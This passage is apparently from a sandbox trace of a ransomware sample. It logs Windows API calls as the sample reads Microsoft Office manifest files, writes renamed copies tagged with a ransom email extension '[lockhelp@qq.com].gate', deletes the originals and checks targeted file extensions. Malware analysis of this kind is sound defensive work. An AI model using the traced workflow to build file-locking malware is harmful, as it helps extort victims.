lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x4bfb, lpOverlapped=0x0) returned 1 [0124.484] WriteFile (in: hFile=0x354, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x4c00, lpOverlapped=0x0) returned 1 [0124.488] ReadFile (in: hFile=0x320, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0124.488] WriteFile (in: hFile=0x354, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0124.489] SetEndOfFile (hFile=0x354) returned 1 [0124.489] CloseHandle (hObject=0x354) returned 1 [0124.499] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.499] SetEndOfFile (hFile=0x320) returned 1 [0124.500] CloseHandle (hObject=0x320) returned 1 [0124.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0124.500] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001a-0409-1000-0000000ff1ce.xml")) returned 1 [0124.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.501] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.501] lstrlenW (lpString=".doc") returned 4 [0124.501] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.501] lstrlenW (lpString=".docx") returned 5 [0124.501] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.501] lstrlenW (lpString=".pdf") returned 4 [0124.501] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.501] lstrlenW (lpString=".xls") returned 4 [0124.501] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.501] lstrlenW (lpString=".xlsx") returned 5 [0124.501] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.501] lstrlenW (lpString=".ppt") returned 4 [0124.501] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.502] lstrlenW (lpString=".zip") returned 4 [0124.502] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.502] lstrlenW (lpString=".rar") returned 4 [0124.502] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.502] lstrlenW (lpString=".bz2") returned 4 [0124.502] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.502] lstrlenW (lpString=".7z") returned 3 [0124.502] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.502] lstrlenW (lpString=".dbf") returned 4 [0124.502] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.502] lstrlenW (lpString=".1cd") returned 4 [0124.502] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.502] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.502] lstrlenW (lpString=".jpg") returned 4 [0124.503] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.503] lstrlenW (lpString=".doc") returned 4 [0124.503] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.503] lstrlenW (lpString=".docx") returned 5 [0124.503] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.503] lstrlenW (lpString=".pdf") returned 4 [0124.503] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.503] lstrlenW (lpString=".xls") returned 4 [0124.503] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.503] lstrlenW (lpString=".xlsx") returned 5 [0124.503] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.503] lstrlenW (lpString=".ppt") returned 4 [0124.503] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.503] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.504] lstrlenW (lpString=".zip") returned 4 [0124.504] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.504] lstrlenW (lpString=".rar") returned 4 [0124.504] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.504] lstrlenW (lpString=".bz2") returned 4 [0124.504] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.504] lstrlenW (lpString=".7z") returned 3 [0124.504] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.504] lstrlenW (lpString=".dbf") returned 4 [0124.504] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.504] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.504] lstrlenW (lpString=".1cd") returned 4 [0124.506] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0409-1000-0000000FF1CE.xml") returned 104 [0124.506] lstrlenW (lpString=".jpg") returned 4 [0124.506] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.506] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0124.506] lstrlenW (lpString="AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 53 [0124.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0124.507] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=1261) returned 1 [0124.507] CloseHandle (hObject=0x320) returned 1 [0124.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 0x220 [0124.507] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0124.508] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.508] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0124.508] GetLastError () returned 0x0 [0124.508] ReadFile (in: hFile=0x320, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x4ed, lpOverlapped=0x0) returned 1 [0124.703] WriteFile (in: hFile=0x354, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x4f0, lpOverlapped=0x0) returned 1 [0124.776] ReadFile (in: hFile=0x320, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0124.776] WriteFile (in: hFile=0x354, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0124.777] SetEndOfFile (hFile=0x354) returned 1 [0124.777] CloseHandle (hObject=0x354) returned 1 [0124.777] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.778] SetEndOfFile (hFile=0x320) returned 1 [0124.778] CloseHandle (hObject=0x320) returned 1 [0124.779] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0124.780] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0409-1000-0000000ff1ce.xml")) returned 1 [0124.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.780] lstrlenW (lpString=".doc") returned 4 [0124.781] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.781] lstrlenW (lpString=".docx") returned 5 [0124.781] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.781] lstrlenW (lpString=".pdf") returned 4 [0124.781] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.781] lstrlenW (lpString=".xls") returned 4 [0124.781] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.781] lstrlenW (lpString=".xlsx") returned 5 [0124.781] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.781] lstrlenW (lpString=".ppt") returned 4 [0124.781] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.781] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.781] lstrlenW (lpString=".zip") returned 4 [0124.781] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.781] lstrlenW (lpString=".rar") returned 4 [0124.781] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.781] lstrlenW (lpString=".bz2") returned 4 [0124.781] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.782] lstrlenW (lpString=".7z") returned 3 [0124.782] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.782] lstrlenW (lpString=".dbf") returned 4 [0124.782] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.782] lstrlenW (lpString=".1cd") returned 4 [0124.782] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.782] lstrlenW (lpString=".jpg") returned 4 [0124.782] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.782] lstrlenW (lpString=".doc") returned 4 [0124.782] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.782] lstrlenW (lpString=".docx") returned 5 [0124.783] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.783] lstrlenW (lpString=".pdf") returned 4 [0124.783] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.783] lstrlenW (lpString=".xls") returned 4 [0124.783] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.783] lstrlenW (lpString=".xlsx") returned 5 [0124.783] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.783] lstrlenW (lpString=".ppt") returned 4 [0124.783] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.783] lstrlenW (lpString=".zip") returned 4 [0124.783] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.783] lstrlenW (lpString=".rar") returned 4 [0124.783] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.783] lstrlenW (lpString=".bz2") returned 4 [0124.783] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.783] lstrlenW (lpString=".7z") returned 3 [0124.783] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.784] lstrlenW (lpString=".dbf") returned 4 [0124.784] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.784] lstrlenW (lpString=".1cd") returned 4 [0124.784] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0409-1000-0000000FF1CE.xml") returned 104 [0124.784] lstrlenW (lpString=".jpg") returned 4 [0124.784] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.784] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0124.784] lstrlenW (lpString="AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 53 [0124.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0124.785] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=2147) returned 1 [0124.785] CloseHandle (hObject=0x320) returned 1 [0124.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 0x220 [0124.785] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0124.785] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.785] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0124.786] GetLastError () returned 0x0 [0124.786] ReadFile (in: hFile=0x320, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x863, lpOverlapped=0x0) returned 1 [0124.839] WriteFile (in: hFile=0x354, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x870, lpOverlapped=0x0) returned 1 [0124.840] ReadFile (in: hFile=0x320, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0124.840] WriteFile (in: hFile=0x354, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13e, lpOverlapped=0x0) returned 1 [0124.841] SetEndOfFile (hFile=0x354) returned 1 [0124.841] CloseHandle (hObject=0x354) returned 1 [0124.842] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0124.842] SetEndOfFile (hFile=0x320) returned 1 [0124.843] CloseHandle (hObject=0x320) returned 1 [0124.843] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0124.843] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-040c-1000-0000000ff1ce.xml")) returned 1 [0124.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.843] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.844] lstrlenW (lpString=".doc") returned 4 [0124.844] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.844] lstrlenW (lpString=".docx") returned 5 [0124.844] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.844] lstrlenW (lpString=".pdf") returned 4 [0124.844] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.844] lstrlenW (lpString=".xls") returned 4 [0124.844] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.844] lstrlenW (lpString=".xlsx") returned 5 [0124.844] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.844] lstrlenW (lpString=".ppt") returned 4 [0124.844] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.844] lstrlenW (lpString=".zip") returned 4 [0124.844] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.844] lstrlenW (lpString=".rar") returned 4 [0124.844] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.844] lstrlenW (lpString=".bz2") returned 4 [0124.844] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.844] lstrlenW (lpString=".7z") returned 3 [0124.844] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.844] lstrlenW (lpString=".dbf") returned 4 [0124.844] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.844] lstrlenW (lpString=".1cd") returned 4 [0124.844] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.844] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.844] lstrlenW (lpString=".jpg") returned 4 [0124.845] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.845] lstrlenW (lpString=".doc") returned 4 [0124.845] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0124.845] lstrlenW (lpString=".docx") returned 5 [0124.845] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0124.845] lstrlenW (lpString=".pdf") returned 4 [0124.845] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0124.845] lstrlenW (lpString=".xls") returned 4 [0124.845] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0124.845] lstrlenW (lpString=".xlsx") returned 5 [0124.845] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0124.845] lstrlenW (lpString=".ppt") returned 4 [0124.845] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0124.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.845] lstrlenW (lpString=".zip") returned 4 [0124.845] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0124.845] lstrlenW (lpString=".rar") returned 4 [0124.845] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0124.846] lstrlenW (lpString=".bz2") returned 4 [0124.846] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0124.846] lstrlenW (lpString=".7z") returned 3 [0124.846] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0124.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.846] lstrlenW (lpString=".dbf") returned 4 [0124.846] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.846] lstrlenW (lpString=".1cd") returned 4 [0124.846] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-040C-1000-0000000FF1CE.xml") returned 104 [0124.846] lstrlenW (lpString=".jpg") returned 4 [0124.846] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.846] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0124.846] lstrlenW (lpString="AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml") returned 53 [0124.846] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0124.872] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=215883) returned 1 [0124.872] CloseHandle (hObject=0x370) returned 1 [0124.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml")) returned 0x220 [0124.872] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.872] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0027-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0027-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, 